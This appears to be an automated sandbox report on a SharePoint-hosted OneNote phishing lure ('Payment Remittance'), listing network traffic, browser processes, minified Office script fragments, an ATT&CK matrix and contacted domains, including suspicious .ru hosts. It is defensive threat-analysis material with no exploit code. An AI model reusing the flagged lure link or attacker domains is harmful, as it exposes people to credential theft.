Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443

Source: unknown	HTTPS traffic detected: 23.213.224.106:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.213.224.106:443 -> 192.168.2.4:49751 version: TLS 1.2

Source: chromecache_289.2.dr

Binary or memory string: E);E.returnValue&&m.ULS.sendTraceTag(22345950,339,50,"AudioPlayback error: unplayable audio type ({0})",J)}return D}catch(D){}}return!1}static xKf(y){const D=y.lastIndexOf(".");if(0>D)return{returnValue:!1,extension:""};y=y.substring(D,y.length);return{returnValue:H.tri(y),extension:y}}static t9h(){if(!H.Lkc){H.Lkc=new r.a(e.a.ke());const y=".3gp .aa .aac .aax .act .aiff .amr .ape .au .awb .dct .dss .dvf .flac .gsm .iklax .ivs .m4a .m4b .m4p .mmf .mp3 .mpc .msv .ogg .oga .mogg .opus .ra .rm .raw .sln .tta .vox .wav .webm .wma .wv".split(" ");

Source: classification engine

Classification label: mal60.phis.win@24/313@64/20

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2012,i,8703808691657293338,11271876919328152257,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://usigroups-my.sharepoint.com/:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?e=mT2aQm"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2012,i,8703808691657293338,11271876919328152257,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:	Binary string: d(64967);this.Le\|\|(null!==this.nib&&(w.a.removeHandler(window.self,"scroll",this.nib),w.a.removeHandler(window.self,"resize",this.$rc),this.$rc=this.nib=null),X.la&&X.la.gB&&this.p4&&this.Bi&&X.la.gB.Kr(this.p4,this.Bi),this.hd=this.Zm=this.Bi=null,this.nXa&&this.nXa.BUd&&this.nXa.vJd(),this.nXa=null,this.Ab&&G.a.xAa(this.Ab)&&this.iz(this.vB),this.rz=this.mv=this.L$=this.v_a=this._body=this.gh=this.Gma=this.p4=this.Io=this.nJ=this.pJ=this.oJ=this.oz=this.xL=this.Ab=this.Pdb=this.vB=null,L.KE=null, source: chromecache_289.2.dr
Source:	Binary string: this.vB.className="WACDialogOuterContainer";this.Pdb=this.gh.createElement("div");this.Pdb.id=this.eh("WACDialogInnerContainer");this.Pdb.className="WACDialogInnerContainer";this.Ab=this.gh.createElement("div");this.Ab.id=this.eh("WACDialogPanel");this.Ab.className=X.la&&X.la.Ra.LG?"MLRVisualRefresh "+this.jFe:this.jFe;this.Pgc&&(this.Ab.className+=" FullDocumentPanel");X.i0e?this.Ab.setAttribute(P.a.Ac,P.a.Wtc):this.Ab.setAttribute(P.a.Ac,P.a.Lwd);this.Ab.setAttribute(P.a.yR,this.eh("WACDialogTitleText")); source: chromecache_289.2.dr
Source:	Binary string: (this.Sf.close(),this.Sf=null)}static get instance(){return Oa.xa\|\|(Oa.xa=new Oa(()=>f.a.instance.Aa("Common.Interface.IEditNotificationManager")))}static get rRf(){return Oa.sfb\|\|(Oa.sfb=f.a.instance.resolve("Wonca.KickoutExecutor"))}}Oa.xa=null;Oa.sfb=null;(0,T.a)(Oa,"WordAutoSaveOperation",null,[]);class Na extends S.a{constructor(Aa,Va,sb,vb,Tb,Lb,Hb,ac,Jb,hb,ec,lc,Uc,Vb,qa,tb,Mb,Yb,Ub,nc){super();this.VU=null;this.$Ee=new F.a;this.Le=this.l5=!1;this.pDb=0;this.UU=[];this.Gjc=!1;this.JNe="";this.kOe= source: chromecache_289.2.dr
Source:	Binary string: da.firstChild):this.L$.insertBefore(this.vB,this.L$.firstChild)}else this.L$.insertBefore(this.vB,this.L$.firstChild);this.vB.appendChild(this.Pdb);this.Pdb.appendChild(this.Ab);this.nib\|\|(this.nib=this.Ksj,this.$rc=(0,k.a)(this,this.Poe,"sizeFix"),w.a.addHandler(window.self,"scroll",this.nib),w.a.addHandler(window.self,"resize",this.$rc));this.Bi=new B(this.Ab);X.la&&X.la.gB.In(this.p4,this.Bi);L.POb()&&this.Khj()}QRc(X,da){const ba=this.gh.createElement("button");this.CGa[X]=ba;ba.id=this.eh(da); source: chromecache_289.2.dr
Source:	Binary string: (this.yu=f.a.instance.Aa("Box4.ITypingProcessManager"))}get E6(){return this.pDb}get jT(){return this.aWg}get V7(){return!this.jgb.kVb}K9b(Aa){this.jgb.kVb=!Aa}get lN(){return this.bY}get PBd(){return this.Mfc}Up(Aa,Va,sb){sb=void 0===sb?null:sb;const vb=new F.a;vb.add((new Date).toISOString());vb.add(Aa);vb.add(Va);sb&&vb.add(sb);Aa=vb.toArray().join("\|");this.$Ee.add(String.format("[{0}]",Aa))}Lgg(){this.Up("logRetrvl","call",this.lN);return this.$Ee.toArray().join("")}w6b(Aa){this.VA.B5a(Aa,sa.b(Aa.RevisionList[0].BaseId), source: chromecache_289.2.dr
Source:	Binary string: null;this.o_a=t;this.pdb=-1;this.Agc=0;this.xgc=0<t.B1.length?t.B1[0]:w.empty}moveNext(){this.pdb++;this.pdb===this.xgc.Yob?(this.my=this.o_a.pda[this.Agc++],this.pdb=this.xgc.T4a-1,this.xgc=this.Agc<this.o_a.b8a?this.o_a.B1[this.Agc]:w.empty):this.my=this.pdb<this.o_a.RY.length?this.o_a.RY[this.pdb]:null;return!!this.current}reset(){this.pdb=-1;this.Agc=0;this.my=null;this.xgc=0<this.o_a.B1.length?this.o_a.B1[0]:w.empty}get current(){return this.my}$u(){throw Error.notImplemented();}}(0,T.a)(F,"TableRowOrCellMixedContextIterator", source: chromecache_289.2.dr
Source:	Binary string: if(0<(this.enabled&1)){if(!Aa)return this.jT.event(-4),!1;if(this.wn())return this.pDb=Va,Aa=this.MSd(),this.jT.event(Aa?8:-3),!Aa}if(!Aa)return this.pDb=Va,this.jT.event(-1),!1;if(0<(this.enabled&2)&&this.Qqi()){if(!this.a5a())return this.jT.event(-1),!1;Aa=this.MSd();this.jT.event(Aa?7:-3);return!Aa}this.sq.$W();this.jT.event(-2);return!1}get eYd(){return!this.wn()&&(!this.aB\|\|""===this.aB)}WEf(){return this.sq.LBa()}hTd(){let Aa;Aa=this.pDb;if(this.hvc&&this.V7&&this.elb&&this.eH){const Va=this.eH.fve()? source: chromecache_289.2.dr
Source:	Binary string: null}vxc(a,c){this.pii();var n=Object.assign(new dg,{wf:a.wf});n=new HE.a(n,this.PDb,null);n.dataSource=a.dataSource;if(!n.S7e(a.NKc,null))throw Error.create("Jewel could not be built");if(a=n.Xy)a.Dr=c,a.ARc();return a}pii(){this.PDb=cd.a.createElement("div");this.PDb.id="jewelcontainer";this.PDb.className="cui-jewel-container";this.PDb.style.display="block"}}(0,S.a)(VC,"LegacyFileMenuFactory",null,[1147]);class ju{constructor(a,c,n){this.Tac=a;this.WLe=this.Tac.qCa;this.sOc=d.a.instance.Aa("Common.IOfficeTrialExperience"); source: chromecache_306.2.dr
Source:	Binary string: appChrome.api.dispatch(Q));return 32};u.AFrameworkApplication.sa.na(Pa.a.oca,Zb.a.frame,this.Qdj)}k0d(){appChrome.api.dispatch(appChrome.actions.updateFileMenuExpandedValue(!0))}GW(){}ARc(){}LGd(){}}(0,S.a)(zf,"ReactFileMenu",null,[1068]);class fA{vxc(){const a=new zf,c=[];c.push(appChrome.actions.updateFileMenuExpandedValue(!1));c.push(appChrome.actions.updateFileMenuDisabledValue(!1));appChrome.api.dispatch(c);return a}}(0,S.a)(fA,"ReactFileMenuFactory",null,[1147]);var HE=V(24363);class VC{constructor(){this.PDb= source: chromecache_306.2.dr
Source:	Binary string: void 0===aa?!1:aa;super(document.createElement("div"));this.Pgc=this._id=null;this.jFe="WACDialogPanel";this.Mlc=this.L$=this.v_a=this._body=this.Gma=this.p4=this.rl=this.Ab=this.Pdb=this.vB=this.Io=this.nJ=this.pJ=this.oJ=this.oz=this.xL=this.$rc=this.nib=this.nXa=this.Bi=this.hd=this.Zm=this.Vs=this.n0=this.SD=this.Xwa=null;this.xmc="OK";this.Hma="Cancel";this.iDe="Close";this.Xsd="Yes";this.Wid="No";this.$Ue="Retry";this.USe="Permanently Delete";this.qWe="Share and notify";this.Acb="Action";this.chb= source: chromecache_289.2.dr
Source:	Binary string: "HandleVisibilityChange IsAppHidden {0}, ReplicatedWhileHidden {1}",2===Va.newState,this.eUc),2!==Va.newState&&this.eUc&&(this.eUc=!1,this.sq.yqf(),this.qY.NW()))}$og(){return B.AFrameworkApplication.$.getBooleanFeatureGate("Microsoft.Office.OneNoteOnline.ONOReplicateEarlyWhenVisibleAgain",!1)}get Icc(){return this.wsd}set Icc(Aa){this.wsd=Aa}b5a(){this.pDb=K.AReplicationScheduler.WNc;if(this.pc&&2===this.pc.status)return this.jT.event(-3),!0;if(this.Le\|\|this.l5)return this.jT.event(1),!1;if(this.NBe&& source: chromecache_289.2.dr

Source: chromecache_282.2.dr, chromecache_267.2.dr, chromecache_343.2.dr	Binary or memory string: ",ConnectVirtualMachine:"
Source: chromecache_282.2.dr, chromecache_267.2.dr, chromecache_343.2.dr	Binary or memory string: ",DisconnectVirtualMachine:"

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://usigroups-my.sharepoint.com/:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?e=mT2aQm	0%	Avira URL Cloud	safe
https://usigroups-my.sharepoint.com/:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?e=mT2aQm	0%	Virustotal		Browse
https://usigroups-my.sharepoint.com/:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?e=mT2aQm	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Link
wac-0003.wac-msedge.net	0%	Virustotal	Browse
dual-spo-0005.spo-msedge.net	0%	Virustotal	Browse
part-0013.t-0009.t-msedge.net	0%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse
sni1gl.wpc.sigmacdn.net	0%	Virustotal	Browse
bg.microsoft.map.fastly.net	0%	Virustotal	Browse
amcdn.msftauth.net	0%	Virustotal	Browse
part-0041.t-0009.t-msedge.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://mths.be/punycode	0%	URL Reputation	safe
https://my.microsoftpersonalcontent.com	0%	URL Reputation	safe
https://amcdn.msftauth.net/me?partner=OneNoteOnline&version=latest&market=EN-US&wrapperId=suiteshell	0%	Avira URL Cloud	safe
about:blank	0%	Avira URL Cloud	safe
https://attributes.engagement.officeppe.com	0%	Avira URL Cloud	safe
https://www.gstatic.c..?/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__.	0%	Avira URL Cloud	safe
https://attributes.engagement.office-int.com	0%	Avira URL Cloud	safe
https://augloop-int.officeppe.com/v2	0%	Avira URL Cloud	safe
https://augloop-int.officeppe.com/v2	0%	Virustotal		Browse
https://4odq.cxnev1.ru/favicon.ico	0%	Avira URL Cloud	safe
https://yo5.6gniu68.ru/vqyevmnspgsjgnxfpdshehidRBNanscfjAERXGCWEIDBUCORZFGRYIPNOYEUB	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dual-spo-0005.spo-msedge.net	13.107.136.10	true	false	0%, Virustotal, Browse	unknown
a.nel.cloudflare.com	35.190.80.1	true	false		high
4odq.cxnev1.ru	172.67.173.130	true	false		unknown
fdexa.nhol.ru	104.21.67.35	true	false		unknown
yo5.6gniu68.ru	172.67.144.70	true	false		unknown
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	0%, Virustotal, Browse	unknown
wac-0003.wac-msedge.net	52.108.8.12	true	false	0%, Virustotal, Browse	unknown
bg.microsoft.map.fastly.net	199.232.210.172	true	false	0%, Virustotal, Browse	unknown
part-0013.t-0009.t-msedge.net	13.107.246.41	true	false	0%, Virustotal, Browse	unknown
code.jquery.com	151.101.194.137	true	false		high
fnfi.kewtdz.ru	172.67.209.50	true	false		unknown
part-0041.t-0009.t-msedge.net	13.107.246.69	true	false	0%, Virustotal, Browse	unknown
www.google.com	172.217.3.68	true	false		high
sni1gl.wpc.sigmacdn.net	152.195.19.97	true	false	0%, Virustotal, Browse	unknown
js.monitor.azure.com	unknown	unknown	false		high
usigroups-my.sharepoint.com	unknown	unknown	false		unknown
augloop.office.com	unknown	unknown	false		high
storage.live.com	unknown	unknown	false		high
ajax.aspnetcdn.com	unknown	unknown	false		high
m365cdn.nel.measure.office.net	unknown	unknown	false		high
onenoteonline.nel.measure.office.net	unknown	unknown	false		high
common.online.office.com	unknown	unknown	false		high
amcdn.msftauth.net	unknown	unknown	false	0%, Virustotal, Browse	unknown
spoprod-a.akamaihd.net	unknown	unknown	false		high
www.onenote.com	unknown	unknown	false		high
messaging.engagement.office.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://amcdn.msftauth.net/me?partner=OneNoteOnline&version=latest&market=EN-US&wrapperId=suiteshell	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://usigroups-my.sharepoint.com/personal/js_usigroups_com/_layouts/15/Doc.aspx?sourcedoc={4275c7cd-9559-49b5-9e00-8913e67b2426}&action=view&wd=target%28Payment%20Remittance.one%7C4915276f-778f-4e3a-9738-7cef3746a84f%2FA%20Secure%20File%20Has%20Been%20Shared%20With%20You%7Cb9cca014-4b79-4e4c-ac2d-33a8409af9ce%2F%29&wdorigin=NavigationUrl	false		unknown
https://www.onenote.com/officeaddins/RemoteUls.ashx	false		high
https://usigroups-my.sharepoint.com/:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?e=mT2aQm	true		unknown
about:blank	false	Avira URL Cloud: safe	low
https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC&co=aHR0cHM6Ly80b2RxLmN4bmV2MS5ydTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&cb=63zqkenm1gfs	false		high
https://www.google.com/recaptcha/api2/payload?p=06AFcWeA7MmaaXs6MoyMD0u-3j4jqR4mQ6pB-5cQII2R4wVQ0vHzppYhvDZKreLSkB4OwOV-5pOFNqTd6iJxdKG_MYtUqBMj3wZ-tBh-9F5I2bvJN9LY6Mwih7HGi6O154fIZZt0SqnIYLIPXudwwQ1ZDCUWJJ6rPXRJhkkAWRxcM_cIKsXcw9jzjy-POTft2040Slxkv8vdNv&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC	false		high
https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js	false		high
https://usigroups-my.sharepoint.com/:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?rtime=_zl3wMZl3Eg	false		unknown
https://www.google.com/favicon.ico	false		high
https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgRmgZjcGPq9rbEGIjCHdQ87I_8X7EpERwXOCmmjL9oKAXFr96F1WOmI1XIOeJbDFyiByqh7q9vy5JBTwvAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	false		high
https://common.online.office.com/suite/RemoteUls.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&officeserverversion=20240424.1	false		high
https://www.google.com/recaptcha/api2/reload?k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC	false		high
https://4odq.cxnev1.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://www.google.com/	false		high
https://yo5.6gniu68.ru/vqyevmnspgsjgnxfpdshehidRBNanscfjAERXGCWEIDBUCORZFGRYIPNOYEUB	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.onenote.com/officeaddins/meetings?ui=pt-BR&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=fil-PH&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://developers.google.com/recaptcha/docs/faq#localhost_support	chromecache_328.2.dr, chromecache_295.2.dr, chromecache_202.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=yo-NG&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=az-Latn-AZ&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=hy-AM&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=is-IS&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=mi-NZ&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://support.google.com/recaptcha#6262736	chromecache_328.2.dr, chromecache_295.2.dr, chromecache_202.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=ja-JP&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://catalogapi.azure.com/	chromecache_317.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=bg-BG&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=rw-RW&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://support.google.com/recaptcha/?hl=en#6223828	chromecache_328.2.dr, chromecache_295.2.dr, chromecache_202.2.dr	false		high
https://aka.ms/OfficeAddinOverview	chromecache_317.2.dr	false		high
https://attributes.engagement.officeppe.com	chromecache_289.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=kok-IN&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://aka.ms/MathAssistantSupport?client_id=onenote_wac&platform_id=web&correlation_id=	chromecache_317.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=pa-Arab-PK&temporaryLocalization=true	chromecache_242.2.dr	false		high
http://www.opensource.org/licenses/mit-license.php	chromecache_332.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=ky-KG&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://twitter.com	chromecache_255.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=hr-HR&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://support.google.com/recaptcha/#6175971	chromecache_328.2.dr, chromecache_295.2.dr, chromecache_202.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=sk-SK&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.gstatic.c..?/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__.	chromecache_328.2.dr, chromecache_295.2.dr, chromecache_202.2.dr	false	Avira URL Cloud: safe	low
https://www.onenote.com/officeaddins/meetings?ui=hu-HU&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=ca-ES-valencia&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://mths.be/punycode	chromecache_289.2.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=ka-GE&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=da-DK&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=tk-TM&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://attributes.engagement.office-int.com	chromecache_289.2.dr	false	Avira URL Cloud: safe	unknown
https://support.google.com/recaptcha	chromecache_202.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=et-EE&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=ug-CN&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://my.microsoftpersonalcontent.com	chromecache_289.2.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=mt-MT&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=sr-Latn-RS&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=ne-NP&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=ru-RU&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=sl-SI&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://forms.office.com	chromecache_317.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=bn-BD&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=ko-KR&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=vi-VN&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=th-TH&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.apache.org/licenses/	chromecache_328.2.dr, chromecache_295.2.dr, chromecache_202.2.dr	false		high
https://forms.office.com/Pages/OneNoteMathAddinFunctionPage.aspx	chromecache_317.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=af-ZA&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=mr-IN&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=el-GR&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://augloop-int.officeppe.com/v2	chromecache_317.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://1drv.ms	chromecache_289.2.dr	false		high
https://aka.ms/Officeaddins	chromecache_317.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=zh-CN&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=mn-MN&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que	chromecache_328.2.dr, chromecache_295.2.dr, chromecache_202.2.dr	false		high
https://www.onenote.com	chromecache_306.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=kk-KZ&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=ro-RO&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=it-IT&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_202.2.dr	false		high
https://consent.config.office.com/consentcheckin/v1.0/consents	chromecache_317.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=cs-CZ&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=as-IN&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://fa000000096.resources.office.net	chromecache_289.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=pl-PL&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=prs-AF&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=en-US&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=sv-SE&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_256.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=ha-Latn-NG&temporaryLocalization=true	chromecache_242.2.dr	false		high
